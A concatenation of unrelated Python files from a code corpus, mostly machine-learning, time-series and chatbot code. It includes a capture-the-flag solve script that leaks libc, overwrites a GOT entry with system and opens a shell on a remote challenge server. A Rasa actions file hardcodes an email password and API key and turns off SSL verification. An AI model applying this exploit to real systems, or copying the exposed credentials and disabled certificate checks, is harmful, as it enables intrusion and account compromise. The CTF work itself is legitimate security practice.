""" A TF 2.0 Adaptive Softmax for Transformer XL model.
"""
from collections import defaultdict
import numpy as np
import tensorflow as tf
from .modeling_tf_utils import shape_list
class TFAdaptiveSoftmaxMask(tf.keras.layers.Layer):
def __init__(self, n_token, d_embed, d_proj, cutoffs, div_val=1,
keep_order=False, **kwargs):
super(TFAdaptiveSoftmaxMask, self).__init__(**kwargs)
self.n_token = n_token
self.d_embed = d_embed
self.d_proj = d_proj
self.cutoffs = cutoffs + [n_token]
self.cutoff_ends = [0] + self.cutoffs
self.div_val = div_val
self.shortlist_size = self.cutoffs[0]
self.n_clusters = len(self.cutoffs) - 1
self.head_size = self.shortlist_size + self.n_clusters
self.keep_order = keep_order
self.out_layers = []
self.out_projs = []
def build(self, input_shape):
if self.n_clusters > 0:
self.cluster_weight = self.add_weight(shape=(self.n_clusters, self.d_embed),
initializer='zeros',
trainable=True,
name='cluster_weight')
self.cluster_bias = self.add_weight(shape=(self.n_clusters,),
initializer='zeros',
trainable=True,
name='cluster_bias')
if self.div_val == 1:
for i in range(len(self.cutoffs)):
if self.d_proj != self.d_embed:
weight = self.add_weight(shape=(self.d_embed, self.d_proj),
initializer='zeros',
trainable=True,
name='out_projs_._{}'.format(i))
self.out_projs.append(weight)
else:
self.out_projs.append(None)
weight = self.add_weight(shape=(self.n_token, self.d_embed,),
initializer='zeros',
trainable=True,
name='out_layers_._{}_._weight'.format(i))
bias = self.add_weight(shape=(self.n_token,),
initializer='zeros',
trainable=True,
name='out_layers_._{}_._bias'.format(i))
self.out_layers.append((weight, bias))
else:
for i in range(len(self.cutoffs)):
l_idx, r_idx = self.cutoff_ends[i], self.cutoff_ends[i+1]
d_emb_i = self.d_embed // (self.div_val ** i)
weight = self.add_weight(shape=(d_emb_i, self.d_proj),
initializer='zeros',
trainable=True,
name='out_projs_._{}'.format(i))
self.out_projs.append(weight)
weight = self.add_weight(shape=(r_idx-l_idx, d_emb_i,),
initializer='zeros',
trainable=True,
name='out_layers_._{}_._weight'.format(i))
bias = self.add_weight(shape=(r_idx-l_idx,),
initializer='zeros',
trainable=True,
name='out_layers_._{}_._bias'.format(i))
self.out_layers.append((weight, bias))
super(TFAdaptiveSoftmaxMask, self).build(input_shape)
@staticmethod
def _logit(x, W, b, proj=None):
y = x
if proj is not None:
y = tf.einsum('ibd,ed->ibe', y, proj)
return tf.einsum('ibd,nd->ibn', y, W) + b
@staticmethod
def _gather_logprob(logprob, target):
lp_size = shape_list(logprob)
r = tf.range(lp_size[0])
idx = tf.stack([r, target], 1)
return tf.gather_nd(logprob, idx)
def call(self, inputs, return_mean=True, training=False):
hidden, target = inputs
head_logprob = 0
if self.n_clusters == 0:
softmax_b = tf.get_variable('bias', [n_token], initializer=tf.zeros_initializer())
output = self._logit(hidden, self.out_layers[0][0], self.out_layers[0][1], self.out_projs[0])
if target is not None:
loss = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=target, logits=output)
out = tf.nn.log_softmax(output, axis=-1)
else:
hidden_sizes = shape_list(hidden)
out = []
loss = tf.zeros(hidden_sizes[:2], dtype=tf.float32)
for i in range(len(self.cutoffs)):
l_idx, r_idx = self.cutoff_ends[i], self.cutoff_ends[i + 1]
if target is not None:
mask = (target >= l_idx) & (target < r_idx)
mask_idx = tf.where(mask)
cur_target = tf.boolean_mask(target, mask) - l_idx
if self.div_val == 1:
cur_W = self.out_layers[0][0][l_idx:r_idx]
cur_b = self.out_layers[0][1][l_idx:r_idx]
else:
cur_W = self.out_layers[i][0]
cur_b = self.out_layers[i][1]
if i == 0:
cur_W = tf.concat([cur_W, self.cluster_weight], 0)
cur_b = tf.concat([cur_b, self.cluster_bias], 0)
head_logit = self._logit(hidden, cur_W, cur_b, self.out_projs[0])
head_logprob = tf.nn.log_softmax(head_logit)
out.append(head_logprob[..., :self.cutoffs[0]])
if target is not None:
cur_head_logprob = tf.boolean_mask(head_logprob, mask)
cur_logprob = self._gather_logprob(cur_head_logprob, cur_target)
else:
tail_logit = self._logit(hidden, cur_W, cur_b, self.out_projs[i])
tail_logprob = tf.nn.log_softmax(tail_logit)
cluster_prob_idx = self.cutoffs[0] + i - 1 # No probability for the head cluster
logprob_i = head_logprob[..., cluster_prob_idx, None] + tail_logprob
out.append(logprob_i)
if target is not None:
cur_head_logprob = tf.boolean_mask(head_logprob, mask)
cur_tail_logprob = tf.boolean_mask(tail_logprob, mask)
cur_logprob = self._gather_logprob(cur_tail_logprob, cur_target)
cur_logprob += cur_head_logprob[:, self.cutoff_ends[1] + i - 1]
if target is not None:
loss += tf.scatter_nd(mask_idx, -cur_logprob, tf.cast(shape_list(loss), dtype=tf.int64))
out = tf.concat(out, axis=-1)
if target is not None:
if return_mean:
loss = tf.reduce_mean(loss)
# Add the training-time loss value to the layer using `self.add_loss()`.
self.add_loss(loss)
# Log the loss as a metric (we could log arbitrary metrics,
# including different metrics for training and inference.
self.add_metric(loss, name=self.name, aggregation='mean' if return_mean else '')
return out
| [
"zlinao@connect.ust.hk"
] | zlinao@connect.ust.hk |
ec9b629eb9e34d72db4ddc25266b903037318372 | 17a20afc6bb39ae272b1a24610e5353b06fbb2ff | /analysisAR.py | 45796723abc9364d87eed1b66ddcb6ea045f8183 | [] | no_license | kopojs/data-assimilation-elections | f109941449489b680f8dfba70604678897346d9d | 2fc9d2bafa1cc463cd9b19840c39b0919ba8bb63 | refs/heads/master | 2022-12-17T06:41:21.988100 | 2020-09-08T19:34:02 | 2020-09-08T19:34:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,260 | py | import pandas as pd
import datetime as dt
import methods as m
import matplotlib.pyplot as plt
import math
from statsmodels.tsa.ar_model import AutoReg
from sklearn.metrics import mean_squared_error
from pandas.plotting import lag_plot
from statsmodels.tsa.stattools import adfuller
from statsmodels.tsa.stattools import kpss
import arch.unitroot as a
import statsmodels.api as sm
if __name__ == '__main__':
startTrain = 52
window = 7
train_percent = 0.8
test_percent = 0.1
m.setFonts()
### Load in data and normalise
twitterColumns = [0, 2]
pollColumns = [1,3, 4, 5, 6, 7, 8,9] # avdate, Remain (norm), Leave (norm)
lh, rh, p = m.getPanda(twitterColumns,pollColumns)
h_agg, p_agg, p_var = m.aggregate(lh, rh, p, splitPolls=False,interpolate=True)
kalmanData = m.getKalmanData(p_agg, h_agg)
startDate = kalmanData.index[0]+dt.timedelta(days=startTrain+window)
endDate = kalmanData.index[-1]
all_data = kalmanData['remain_perc'].iloc[startTrain:]
remain_data = all_data.values
dates_train = all_data.index
split_train = int(train_percent * len(remain_data))
split_val = int((1-test_percent)*len(remain_data))
train = remain_data[:split_train]
val = remain_data[split_train:split_val]
test = remain_data[split_val:]
X = remain_data
# 1) look at series in isolation
############ Autocorrelation ######################
########## TEST IF RANDOM WALK ################
# p value less than 0.05, reject null hypothesis
# test 1: AD fuller test (null hypothesis: unit root exists)
print("\nTEST 1: ADF")
result = adfuller(X, regression='c')
print('ADF Statistic: %f' % result[0])
print('p-value: %f' % result[1])
for key, value in result[4].items():
print('\t%s: %.3f' % (key, value))
# test 2: KPSS test (null hypothesis: unit root does not exist)
print("\nTEST 2: KPSS")
result = kpss(X, regression='c', nlags='auto', store=False)
print('kpss Statistic: %f' % result[0])
print('p-value: %f' % result[1])
print('lag parameter: %f' % result[2])
for key, value in result[3].items():
print('\t%s: %.3f' % (key, value))
# test 3@ variance ratio (null hypothesis: random walk, possibly with drift)
print("\nTEST 3: VARIANCE RATIO")
print(a.VarianceRatio(X, lags=30, trend='c', debiased=True, robust=True, overlap=True).summary())
# test 4 DF GLS (null: process contains a unit root)
dfgls = a.DFGLS(X)
print(dfgls.summary())
# test 5
pp = a.PhillipsPerron(X)
pp.trend = 'ct'
print(pp.summary())
# series in conjunction
########## Correlation between the two with smoothing ##########################
# Lag plot
plt.rcParams.update({'ytick.left': False, 'axes.titlepad': 10})
fig, axes = plt.subplots(2, 4, figsize=(10, 3), sharex=True, sharey=True, dpi=100)
for i, ax in enumerate(axes.flatten()[:]):
lag_plot(all_data, lag=i + 1, ax=ax, c='firebrick')
ax.set_title('Lag ' + str(i + 1))
fig.suptitle(
'Lag Plots\n',y=1.15)
plt.show()
pd.plotting.autocorrelation_plot(all_data)
sm.graphics.tsa.plot_pacf(all_data.values.squeeze(), lags=8)
plt.show()
# 2) fit autoregressive model
model = AutoReg(X, window, trend='c', seasonal=False, exog=None, hold_back=None, period=None,
missing='none')
model_fit = model.fit()
print('coefficients: %s' % model_fit.params)
coef = model_fit.params
# walk forward over time steps in test
history = train[len(train) - window:]
history = [history[i] for i in range(len(history))]
predictions = list()
for t in range(len(test)):
length = len(history)
lag = [history[i] for i in range(length - window, length)]
yhat = coef[0]
for d in range(window):
yhat += coef[d + 1] * lag[window - d - 1]
obs = test[t]
predictions.append(yhat)
history.append(obs)
print('predicted=%f, expected=%f' % (yhat, obs))
rmse = math.sqrt(mean_squared_error(test, predictions))
print('Test RMSE: %.3f' % rmse)
# plot
plt.plot(test)
plt.plot(predictions, color='red')
plt.show()
| [
"robinhendrickx@gmail.com"
] | robinhendrickx@gmail.com |
e167205a15456bb695455dcffd27e9746cb15092 | c03717080fc76c8f442e4fc45681f2faa6d87819 | /a__preprocess_step1__comma_remove.py | 57cc31fb6685cc2a974ca85bf5625636ccaffd2f | [] | no_license | PharrellWANG/proj_vcmd | a010cc8eedd396cc7f22486daa32fb322e30ec4d | 952733f71ee3c8f18016144ddf95e6a74bc866c7 | refs/heads/master | 2021-01-20T03:09:04.226185 | 2017-05-12T02:52:02 | 2017-05-12T02:52:02 | 89,501,320 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 593 | py | # INPUT_FILE = '/Users/Pharrell_WANG/PycharmProjects/tf_dp/data/z_raw_partial_16.csv'
# OUTPUT_FILE = '/Users/Pharrell_WANG/PycharmProjects/tf_dp/data/z_partial_16.csv'
def comma_remover(INPUT_FILE, OUTPUT_FILE):
with open(INPUT_FILE, 'r') as r, \
open(OUTPUT_FILE, 'w') as w:
cnt = 0
for num, line in enumerate(r):
cnt += 1
if num >= 0:
newline = line[:-2] + "\n" if "\n" in line else line[:-1]
else:
newline = line
w.write(newline)
# print("total lines : " + str(cnt)) | [
"15113029g@connect.polyu.hk"
] | 15113029g@connect.polyu.hk |
242081385cba0f8c8aa2b376756a72a97aec67d3 | 895ce4db2d46e1a6048b5540b9213a3961909233 | /pwn/partycreation/solve.py | 8b9b8c5c4833e41b6a9200125271de273889c1f6 | [] | no_license | AdnanSlef/csawred2020_fixed | 2a3e434f1dff51d9cf5b9e4c72cdd4db43c22963 | 1b2c996b7e1b68566bbf377bd3a3d6df71b28c0d | refs/heads/master | 2022-12-17T11:45:46.573481 | 2020-09-27T19:45:33 | 2020-09-27T19:45:33 | 297,501,259 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,308 | py | #!/usr/bin/env python3
from pwn import *
"""
Show character at index I: x/24c (char *)&party+0x18*I
Show values only at index I: x/8c (char *)&party+0x10+0x18*I
Leaking values is fine, but I can only rename, not revalue.
I can write nulls in name; it just has to end with a null byte.
"""
def menuChoice(n):
print(conn.recvuntil('(4) Begin Hacking\n> ').decode())
conn.sendline(str(n).encode())
def createCharacter(name):
assert len(name) <= 15
menuChoice(1)
print(conn.recvuntil(b'Enter your character\'s name:\n>').decode())
conn.sendline(name)
print(conn.recvuntil(b'joined your party!\n').decode())
def viewCharacter(index):
menuChoice(2)
print(conn.recvuntil(b'Which character do you wish to view (0-5)? \n>').decode())
conn.sendline(str(index).encode())
sep = b'-----------------------------\n'
print((conn.recvuntil(sep)+conn.recvuntil(sep)).decode())
name = conn.recvuntil('Strength:')[14:-10]
print("Name: ",name)
values = []
for x in ["Strength","Dexterity","Constitution","Intelligence","Wisdom","Charisma","Hit points"]:
v = int(conn.recvline().split()[-1])
if x=="Hit points":
vb = p16(v,sign="signed")
else:
vb = p8(v,sign="signed")
values.append(vb)
print((x+':').ljust(14,' '), str(v).ljust(6,' '), vb)
print(conn.recvuntil(sep).decode())
print(name, b''.join(values))
return name, b''.join(values)
def renameCharacter(index, name):
assert len(name) <= 15
menuChoice(3)
print(conn.recvuntil(b'wish to rename (0-5)? \n>').decode())
conn.sendline(str(index).encode())
print(conn.recvuntil(b'name:\n>').decode())
conn.sendline(name)
print(conn.recvuntil(b'Rename complete.\n').decode())
###
context.arch = 'amd64'
libc = ELF('./libc-2.27.so')
elf = ELF("./partycreation")
rop = ROP(elf)
rop.call(elf.symbols['puts'], [elf.got['puts']])
rop.call(elf.symbols['runMenu'])
ropchain = rop.chain()
print(len(ropchain), ropchain)
###
if args.GDB: #this uses local libc by default
conn = gdb.debug('./partycreation', gdbscript=(''
+'break runMenu\n'
+'c\n'
)
)
else:
conn = remote('pwn.red.csaw.io', 5010)
createCharacter(b'freddy')
viewCharacter(0)
renameCharacter(0,b'/bin/sh')
viewCharacter(0)
###LEAK###
_, printf_packed = viewCharacter(-7)
printf = u64(printf_packed)
print("printf:",hex(printf))
libc.address = printf - libc.symbols['printf']
print('libc address from printf:',hex(libc.address))
_, getchar_packed = viewCharacter(-6)
getchar = u64(getchar_packed)
print("getchar:",hex(getchar))
if getchar == libc.symbols['getchar']:
print('libc base working as expected')
else:
print('libc base disagreement')
###OVERWRITE###
print('system address:',hex(libc.symbols['system']))
system_packed = p64(libc.symbols['system'])[:-1]#the last null will be written for us
print(system_packed)
renameCharacter(-6, system_packed)#overwrite memset with system
###WIN###
menuChoice(3)#call overwritten memset (remote)
print(conn.recv())
conn.sendline('0')#use /bin/sh string in name
print(conn.recv())
print('ls')
conn.sendline(b'ls')
print(conn.recv().decode('ascii'))
conn.sendline(b'cat flag.txt')
print(conn.recv().decode('ascii'))
conn.close()
| [
"aself.school@gmail.com"
] | aself.school@gmail.com |
7029d9404d228661a4e2e7d27618a58caefe3e98 | 673e829dda9583c8dd2ac8d958ba1dc304bffeaf | /data/multilingual/Latn.SHP/Sans_8/pdf_to_json_test_Latn.SHP_Sans_8.py | a9ff90b902a1274df32bc2575bf41aceb7fb70ec | [
"BSD-3-Clause"
] | permissive | antoinecarme/pdf_to_json_tests | 58bab9f6ba263531e69f793233ddc4d33b783b7e | d57a024fde862e698d916a1178f285883d7a3b2f | refs/heads/master | 2021-01-26T08:41:47.327804 | 2020-02-27T15:54:48 | 2020-02-27T15:54:48 | 243,359,934 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 301 | py | import pdf_to_json as p2j
import json
url = "file:data/multilingual/Latn.SHP/Sans_8/udhr_Latn.SHP_Sans_8.pdf"
lConverter = p2j.pdf_to_json.pdf_to_json_converter()
lConverter.mImageHashOnly = True
lDict = lConverter.convert(url)
print(json.dumps(lDict, indent=4, ensure_ascii=False, sort_keys=True))
| [
"antoine.carme@laposte.net"
] | antoine.carme@laposte.net |
00f0d19f0d1b700cc76c6bded9bfe06280539b08 | 5c30b186c1e6753d12ee123a5b50f5208f64b466 | /Natural Language Processing/restaurant search chatbot/Rasa_basic_folder/actions.py | 4cedf058314d897af828ee96b182e54f66de6777 | [] | no_license | punithagirish/Assignment | 90085cf8ee37a38f7572f1e9cc00b74c438e57ff | 5914ba071906074aa79075f8c8fab13fd54886e4 | refs/heads/master | 2022-06-11T06:44:59.214022 | 2020-05-05T15:46:03 | 2020-05-05T15:46:03 | 260,674,800 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,357 | py | from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
from rasa_core.actions.action import Action
from rasa_core.events import SlotSet, AllSlotsReset, Restarted
import re
import requests
import logging
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()
import zomatopy
import json
import smtplib, ssl
import re
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from cityUtil import City
from utils import get_soundex
logger = logging.getLogger(__name__)
def parsePrice(budget):
temp = re.findall(r'\d+', budget)
res = list(map(int, temp))
return res
def parsebudget_txt(budget_txt):
price_list = []
try:
if budget_txt!=None:
budget_txt = budget_txt.lower().strip()
temp = re.findall(r'\d+', budget_txt)
val = list(map(int, temp))
if budget_txt.find("max")>=0 or budget_txt.find("less")>=0 or budget_txt.find("<")>=0 or budget_txt.find("lower")>=0:
price_list.insert(0, 0)
price_list.extend(val)
elif budget_txt.find("min")>=0 or budget_txt.find("more")>=0 or budget_txt.find("range")>=0 or budget_txt.find(">")>=0 or budget_txt.find("greater")>=0 or budget_txt.find("high")>=0 or budget_txt.find("between")>=0:
price_list.extend(val)
elif budget_txt=="1" or budget_txt.find("cheap")>=0 or budget_txt.find("low")>=0 or budget_txt.find("budget")>=0 or budget_txt.find("pocket-friendly")>=0 or budget_txt.find("pocket friendly")>=0:
price_list = [0,300]
elif budget_txt=="2" or budget_txt.find("mid")>=0 or budget_txt.find("moderate")>=0:
price_list = [300,700]
elif budget_txt=="3" or budget_txt.find("costly")>=0 or budget_txt.find("expensive")>=0:
price_list = [700]
if len(price_list)==0 and len(val)>0:
price_list.extend(val)
if len(price_list)==0:
price_list = [300,700]
except Exception as e:
logger.exception(e)
return price_list
class ActionSearchRestaurants(Action):
def name(self):
return 'action_restaurant'
def run(self, dispatcher, tracker, domain):
logger.info("in ActionSearchRestaurants")
try:
noresults = True
config={ "user_key":"e44f0277d2d63ad4f712b4670cbb04d5"}
zomato = zomatopy.initialize_app(config)
loc = tracker.get_slot('location')
if not loc:
dispatcher.utter_template("utter_ask_location", tracker)
return []
cuisine = tracker.get_slot('cuisine')
if not cuisine:
dispatcher.utter_template("utter_ask_cuisine", tracker)
return []
price=tracker.get_slot('price')
if len(price)==0 and tracker.get_slot('budget')==None:
dispatcher.utter_template("utter_ask_price", tracker)
return []
cuisines=['chinese','mexican','italian','american','south indian','north indian']
soundex_dct={get_soundex(value):value for value in cuisines}
if cuisine and get_soundex(cuisine) in soundex_dct.keys():
cuisine=soundex_dct[get_soundex(cuisine)]
if loc == None or cuisine==None:
dispatcher.utter_template("utter_noresults", tracker)
return [SlotSet('noresults',True)]
if tracker.get_slot('location_type')==False:
dispatcher.utter_template("utter_nontier", tracker)
return []
price=tracker.get_slot('price')
if len(price)==0 and tracker.get_slot('budget')!=None:
budget_val = tracker.get_slot('budget')
price= parsebudget_txt(budget_val)
SlotSet('price',price)
location_detail=zomato.get_location(loc, 1)
d1 = json.loads(location_detail)
try:
lat=d1["location_suggestions"][0]["latitude"]
lon=d1["location_suggestions"][0]["longitude"]
cuisines_dict={'american':1,'chinese':25,'mexican':73,'italian':55,'north indian':50,'south indian':85}
lst = []
results=zomato.restaurant_search("", lat, lon, str(cuisines_dict.get(cuisine)))
logger.debug(results)
d = json.loads(results)
for restaurant in d['restaurants']:
lst.append((restaurant['restaurant']['name'],restaurant['restaurant']['location']['address'],float(restaurant['restaurant']['average_cost_for_two']),float(restaurant['restaurant']['user_rating']['aggregate_rating'])))
if len(price)==1:
if not int(price[0])>=700:
price.insert(0, 0)
price=list(map(int,price))
price=sorted(price)
logger.debug(price)
lst1=list(sorted(lst,key=lambda x:x[-2],reverse=True))
logger.debug(lst1)
if len(price)==0:
dispatcher.utter_template("utter_noresults", tracker)
return [SlotSet('noresults',True)]
if len(price)==1:
logger.debug("i am here")
final_lst=list(filter(lambda x:x[-2]>=price[0],lst1))
else:
logger.debug("i am here1213")
final_lst=list(filter(lambda x:x[-2]>=price[0] and x[-2]<=price[1],lst1))
final_lst=list(sorted(final_lst,key=lambda x:x[-1],reverse=True))[:10]
response_5=""
response_10=""
if len(final_lst) == 0:
response_5= "no results"
noresults = True
else:
counter=1
for restaurant in final_lst[:5]:
response_5 += str(counter) + ". " + restaurant[0]+ " in "+ " ".join(restaurant[1:-2])+" has been rated "+str(restaurant[-1])+"\n"
noresults = False
counter+=1
restaurant_final_list=final_lst[:10]
counter=1
for restaurant in restaurant_final_list:
text_respose = str(counter)+". Restaurant Name: "+restaurant[0]+"\n Restaurant locality address: "+" ".join(restaurant[1:-2])+"\n Average budget for two people: "+str(restaurant[-2])+"\n Zomato user rating: "+str(restaurant[-1])+"\n\n"
response_10 += text_respose
noresults = False
counter+=1
file=open("email_restarunt_search.txt","w")
file.write(response_10)
file.close()
except Exception as e:
logger.exception(e)
response_5="no results"
response_10="no results"
if noresults:
dispatcher.utter_template("utter_noresults", tracker)
else:
dispatcher.utter_message(response_5)
except Exception as e:
logger.exception(e)
return [SlotSet('noresults',noresults)]
class ActionSearchCity(Action):
def name(self):
return 'action_city'
def run(self, dispatcher, tracker, domain):
logger.info("in ActionSearchCity")
logger.debug(tracker.get_slot('location'))
loc = tracker.get_slot('location')
location_type = True
if not City.checkCityOperationStatus(loc):
dispatcher.utter_template("utter_nontier", tracker)
location_type = False
loc = None
SlotSet('location',loc)
return [SlotSet('location_type',location_type)]
class ActionGetCuisineSlection(Action):
def name(self):
return 'action_get_cuisine'
def run(self,dispatcher,tracker,domain):
logger.info("in ActionGetCuisineSlection")
val=tracker.get_slot('option')
cuisines=['chinese','mexican','italian','american','south indian','north indian']
return [SlotSet('cuisine',cuisines[int(val)-1])]
class ActionGetBudgetSelection(Action):
def name(self):
return 'action_get_budget'
def run(self,dispatcher,tracker,domain):
logger.info("in ActionGetBudgetSelection")
price= []
try:
val=tracker.get_slot('budget')
if not val and tracker.get_slot('option'):
val=tracker.get_slot('option')
logger.debug(val)
price = parsebudget_txt(val)
except Exception as e:
logger.exception(e)
return [SlotSet('budget',val),SlotSet('price',price)]
class ActionSendMail(Action):
def name(self):
return 'action_send_mail'
def run(self,dispatcher,tracker,domain):
logger.info("in ActionSendMail")
gmail_user="ml7.foodie@gmail.com"
gmail_password="Upgrad@123"
gmail_port = 587 # For SSL
gmail_smtp_server = "smtp.gmail.com"
receiver_email = tracker.get_slot("email")
logger.info("in receiver_email")
subject=" Restaurant recommendations in "+tracker.get_slot("location")
try:
context = ssl.create_default_context()
ssl._create_default_https_context = ssl._create_unverified_context
with smtplib.SMTP(gmail_smtp_server, gmail_port) as server:
server.ehlo()
server.starttls()
server.ehlo()
server.login(gmail_user, gmail_password)
search_response=""
file=open('email_restarunt_search.txt','r')
for line in file.readlines():
search_response+=line
file.close()
msg = MIMEMultipart()
msg['From'] = gmail_user
msg['To'] = receiver_email
msg['Subject'] = subject
body = search_response
msg.attach(MIMEText(body,'plain'))
logger.debug(msg.as_string())
server.sendmail(gmail_user,receiver_email,msg.as_string())
server.close()
logger.debug("sending utter_email_sent")
dispatcher.utter_template("utter_email_sent", tracker)
except Exception as e:
logger.exception(e)
logger.debug("sending utter_email_error")
dispatcher.utter_template("utter_email_error", tracker)
return []
class ActionResetSlots(Action):
def name(self):
return 'action_reset'
def run(self, dispatcher, tracker, domain):
#AllSlotsReset()
return [AllSlotsReset()]
class ActionRestarted(Action):
def name(self):
return 'action_restarted'
def run(self, dispatcher, tracker, domain):
return[Restarted()] | [
"noreply@github.com"
] | noreply@github.com |
c7e7e82e5e57eb7f5e8a25349533c08df1381489 | 4b6cc9a5850a19bec392144a2680a98757430a40 | /U-net_skip_connections.py | d4414060e814f731566958d77e1ae16b001e16e5 | [] | no_license | Saurabh-29/Image-Segmentation-with-U-net | 223585b3eff50e7993b1929d90467032f6427b97 | 45019866d9cae2a7394cedffdc1278aea77a974b | refs/heads/master | 2021-01-20T05:27:17.289403 | 2017-10-05T18:18:39 | 2017-10-05T18:18:39 | 101,447,023 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,859 | py |
# coding: utf-8
# In[1]:
#get_ipython().magic(u'matplotlib inline')
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from keras.models import Sequential,Model
from keras.layers import Dense, Conv2D, Input, MaxPool2D, UpSampling2D, Concatenate, Conv2DTranspose, Add
from keras.optimizers import Adam, RMSprop
import tensorflow as tf
from scipy.misc import imresize
from tqdm import tqdm
from sklearn.model_selection import train_test_split
import os
from PIL import Image
from keras.preprocessing.image import array_to_img , img_to_array , load_img ,ImageDataGenerator
from subprocess import check_output
# print check_output(["ls", "../myproject"]).decode("utf8")
# In[2]:
data_dir = "dataset/train/"
mask_dir = "dataset/train_masks/"
all_images = os.listdir(data_dir)
# In[3]:
train_images, validation_images = train_test_split(all_images, train_size=0.8, test_size=0.2)
# train_images[0]
# content_image=Image.open('dataset/train/fc5f1a3a66cf_06.jpg')
# content_image.size
# In[8]:
batch_size = 1
img_size = 512
spe_train = len(train_images)/batch_size
spe_validation = len(validation_images)/batch_size
# In[7]:
def grey2rgb_2(img):
new_img=np.array(list(img)*3)
new_img=new_img.reshape(img.shape[0],img.shape[1],3)
return new_img
# In[13]:
def grey2rgb(img):
new_img = []
for i in range(img.shape[0]):
for j in range(img.shape[1]):
new_img.append(list(img[i][j])*3)
new_img = np.array(new_img).reshape(img.shape[0], img.shape[1], 3)
return new_img
# generator that we will use to read the data from the directory
def data_gen_small(data_dir, mask_dir, images, batch_size, dims):
"""
data_dir: where the actual images are kept
mask_dir: where the actual masks are kept
images: the filenames of the images we want to generate batches from
batch_size: self explanatory
dims: the dimensions in which we want to rescale our images
"""
while True:
batch = np.random.choice(np.arange(len(images)), batch_size)
imgs = []
labels = []
for i in batch:
# images
original_img = load_img(data_dir + images[i])
resized_img = imresize(original_img, dims+[3])
array_img = img_to_array(resized_img)/255
imgs.append(array_img)
# masks
original_mask = load_img(mask_dir + images[i].split(".")[0] + '_mask.gif')
resized_mask = imresize(original_mask, dims+[3])
array_mask = img_to_array(resized_mask)/255
labels.append(array_mask[:, :, 0])
imgs = np.array(imgs)
labels = np.array(labels)
#print labels
yield imgs, labels.reshape(-1, dims[0], dims[1], 1)
# example use
train_gen = data_gen_small(data_dir, mask_dir, train_images, batch_size, [img_size, img_size])
img, msk = next(train_gen)
# plt.imshow(img[0])
# plt.imshow(grey2rgb(msk[0]), alpha=0.5)
# In[14]:
# from keras.layers import AvgPool2D
def down(input_layers,filters,pool=True):
conv1=Conv2D(filters,(2,2),padding="same",activation='relu')(input_layers)
residual = Conv2D(filters, (3, 3), padding='same', activation='relu')(conv1)
extra=Conv2D(filters,(1,1),padding="same",activation='relu')(input_layers)
if pool:
ext = Add()([residual,extra])
max_pool = MaxPool2D()(ext)
return max_pool, residual
else:
return residual
def up(input_layer, residual, filters):
filters=int(filters)
# upsample = UpSampling2D()(input_layer)
upsample =Conv2DTranspose(filters,(4,4),padding='same',activation='relu',strides=2)(input_layer)
upconv = Conv2D(filters, kernel_size=(2, 2), padding="same")(upsample)
concat = Concatenate(axis=3)([residual, upconv])
conv1 = Conv2D(filters, (3, 3), padding='same', activation='relu')(concat)
conv2 = Conv2D(filters, (3, 3), padding='same', activation='relu')(conv1)
extra=Conv2D(filters,(1,1),padding="same",activation='relu')(upsample)
ext = Add()([conv2,extra])
return ext
# In[15]:
filters = 16
input_layer = Input(shape = [512, 512, 3])
layers = [input_layer]
residuals = []
# Adding few extra layers
d00, res00 = down(input_layer, filters)
residuals.append(res00)
filters *= 2
# next
d0, res0 = down(d00, filters)
# d2, res2_cur = down(d1, filters)
# res2_pre = Conv2D(filters,(2,2),padding="same",activation='relu')(res1)
res0 = Concatenate(axis=3)([d00, res0])
residuals.append(res0)
filters *=2
# Down 1, 128
d1, res1 = down(d0, filters)
# res1 = Concatenate(axis=3)([d0, res1])
residuals.append(res1)
filters *= 2
# Down 2, 64
d2, res2 = down(d1, filters)
# d2, res2_cur = down(d1, filters)
# res2_pre = Conv2D(filters,(2,2),padding="same",activation='relu')(res1)
res2 = Concatenate(axis=3)([d1, res2])
residuals.append(res2)
filters *= 2
# Down 3, 32
d3, res3 = down(d2, filters)
# d2, res2_cur = down(d1, filters)
# res2_pre = Conv2D(filters,(2,2),padding="same",activation='relu')(res1)
res3 = Concatenate(axis=3)([d2, res3])
residuals.append(res3)
filters *= 2
# Down 4, 16
d4, res4 = down(d3, filters)
# d2, res2_cur = down(d1, filters)
# res2_pre = Conv2D(filters,(2,2),padding="same",activation='relu')(res1)
res4 = Concatenate(axis=3)([d3, res4])
residuals.append(res4)
filters *= 2
# Down 5, 8
d5 = down(d4, filters, pool=False)
# Up 1, 16
up1 = up(d5, residual=residuals[-1], filters=filters/2)
filters /= 2
# Up 2, 32
up2 = up(up1, residual=residuals[-2], filters=filters/2)
filters /= 2
# Up 3, 64
up3 = up(up2, residual=residuals[-3], filters=filters/2)
filters /= 2
# Up 4, 128
up4 = up(up3, residual=residuals[-4], filters=filters/2)
filters /= 2
# Up 5, 256
up5 = up(up4, residual=residuals[-5], filters=filters/2)
filters /= 2
# Up 6, 512
up6 = up(up5, residual=residuals[-6], filters=filters/2)
out = Conv2D(filters=1, kernel_size=(1, 1), activation="sigmoid")(up6)
model = Model(input_layer, out)
#model.summary()
# In[16]:
def dice_coef(y_true, y_pred):
smooth = 1e-5
y_true = tf.round(tf.reshape(y_true, [-1]))
y_pred = tf.round(tf.reshape(y_pred, [-1]))
isct = tf.reduce_sum(y_true * y_pred)
return 2 * isct / (tf.reduce_sum(y_true) + tf.reduce_sum(y_pred))
# In[ ]:
# In[ ]:
model.compile(optimizer=Adam(1e-4), loss='binary_crossentropy', metrics=[dice_coef])
# model.fit_generator(train_gen, verbose=1, steps_per_epoch=100, epochs=10)
validation_gen = data_gen_small(data_dir, mask_dir, validation_images, batch_size, [img_size, img_size])
model.fit_generator(train_gen, verbose=1, steps_per_epoch=spe_train, epochs=50, validation_data=validation_gen, validation_steps=spe_validation)
# In[ ]:
model.save_weights('u-net_resnet_style.hdf5')
| [
"noreply@github.com"
] | noreply@github.com |
